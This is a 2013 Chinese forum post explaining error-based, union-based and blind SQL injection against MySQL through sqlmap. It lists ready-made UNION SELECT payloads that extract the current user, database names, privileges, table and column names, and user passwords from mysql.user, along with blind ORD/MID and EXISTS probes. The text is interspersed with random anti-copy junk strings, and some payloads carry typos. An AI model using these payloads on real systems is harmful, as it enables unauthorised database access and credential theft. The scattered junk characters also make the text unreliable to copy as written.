找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2531|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。0 U4 {$ n& g: a( L0 q

2 s1 Y5 F/ e9 x! t) Z这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
$ _  O7 q9 {3 s) e. H/ x% d 2 I7 M* S- k' _8 f/ c$ W$ J4 a
分类标准        分类        备注; k* [( _9 C: @5 p
按字段类型        整型注入,字符型注入        - Z6 B' L. y" ^
按出现的位置        get注入,post注入,cookie注入,http header注入       
3 }7 G1 Y3 W, o然而高级注入是这样的
( |# u+ }7 u, t) Z8 Z& S$ v
( k6 a6 P% g* G+ [2 y  r高级注入分类        条件
4 G  o0 c! _7 c3 [! C& uerror-based sql        数据库的错误回显可以返回,存在数据库,表结构
6 z* |& D% A9 F' u. G3 [( F, t7 dunion-based sql        能够使用union,存在数据库,表结构, [+ e( f3 c9 W1 t- p! B
blind sql        存在注入' s. z% q1 b9 D" _  ?8 b! W. P( m% y3 [1 Y
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
( P7 j: Y( s; K2 | 7 S# i7 z! z2 w, \
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
6 u. J5 [- {( c7 c' D9 A ! e# H( Z4 a, \! |
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。. S9 T/ s$ w/ ^) T! X5 ]
7 {" w/ t) Q3 j* g: T+ u
这里用mysql说明  [0 e2 J/ @1 _. B
5 ~+ Z) p* N# p
e注入坛子里很多了,请看戳我或者再戳我
' s" P7 V/ I2 ~. X
$ Q9 _1 L9 I1 _* n1 Mu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的3 k* r' V" `0 A+ w
! A1 o( h+ @2 c- [7 |! h! t
获取当前数据库用户名
! W( N9 F7 ~0 ?% W0 v3 t9 B
9 b+ s7 ?* H3 Z  |UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
- K2 B' E3 o: xAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL" s" @6 u7 H& ?# B) }! b6 [7 K- v1 K
L, NULL#  f2 i! `. O7 T" t% p- n
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。( f% s" g. B) F( u7 d
6 F6 G; ~( W' G8 b8 d0 i
获取数据库名
2 s" v  A- }' L) O$ Q
  n( L+ T/ k5 s" ?# _, J6 x% dUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#1 p2 a  n, I- c$ i) E3 U' H0 t- L
获取所有用户名7 U4 j- M+ K4 }+ [3 |
' u7 {+ y: e6 q. |7 w
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#' b& D) H" j3 v
查看当前用户权限1 M: I0 y( W2 a$ K' V8 i

8 Y2 D' P/ K5 \: Z. e5 m! A" o% ]UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
1 Y* o, p2 p! m. V0 e尝试获取密码,当然需要有能读mysql数据库的权限
; d# ^" k8 `4 J, a & f1 c/ @8 u$ `/ B6 H$ k
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#+ B  D2 U$ n: n
获取表名,limit什么的自己搞啦, f; K* C1 f) ~/ N+ y. a
6 R- _. J7 ~! U, ^- _. `) S% A
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
' a/ j& z: G5 B, U" e0 j获取字段名及其类型
1 T" @  N; C4 \7 I- x" M2 XUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#$ ^2 Z* e8 q0 _1 i. B

# x  K7 Y! C) ^) q5 g4 N) @* X! kb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
7 @, n# \; E' t" r# L, |+ ]1 B
/ X$ E9 D+ T+ G/ @2 N如:, `. d* S" m! \  E9 \
获取当前用户名
6 `* X( p! N1 g4 w8 `& I
& m; c# m5 O; N/ M. x9 TAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
' [- C  H" d- _4 r$ Y2 n/ W获取当前数据库
# A4 u! r) o! O* A, X/ ]+ \" ~/ f ; t5 B9 g% u4 g) t. \( J  R0 b
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
! v$ x1 U5 _5 q: t获取表名2 b" e% y6 L/ s% Y5 Y

) J! N- `" u# U) b/ RAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 510 S! o. `) y0 {( `! U  z
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。0 M5 J: ]# c# j/ ~- F
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
* Q! d% F9 J$ [爆表: s; e( y! p4 ^) T
5 Z, m: A6 ~: c8 i7 M5 a3 s
AND EXISTS(select * from table): ]& c# T( O: N! H+ ]. _' c
爆字段$ g  T/ N0 {0 N% ~) F

6 _  b4 {6 }9 A( vAND EXISTS(select pwd from table)
9 V2 T, p3 ~/ i4 w: Y$ z. m盲注的变化就比较多了,由于篇幅,只是举个例子而已。
4 p4 H) F' u, z* b
  ?" f8 i' n$ w6 e2 M本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
, D: h3 d! s: i. ~7 @$ Y2 R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表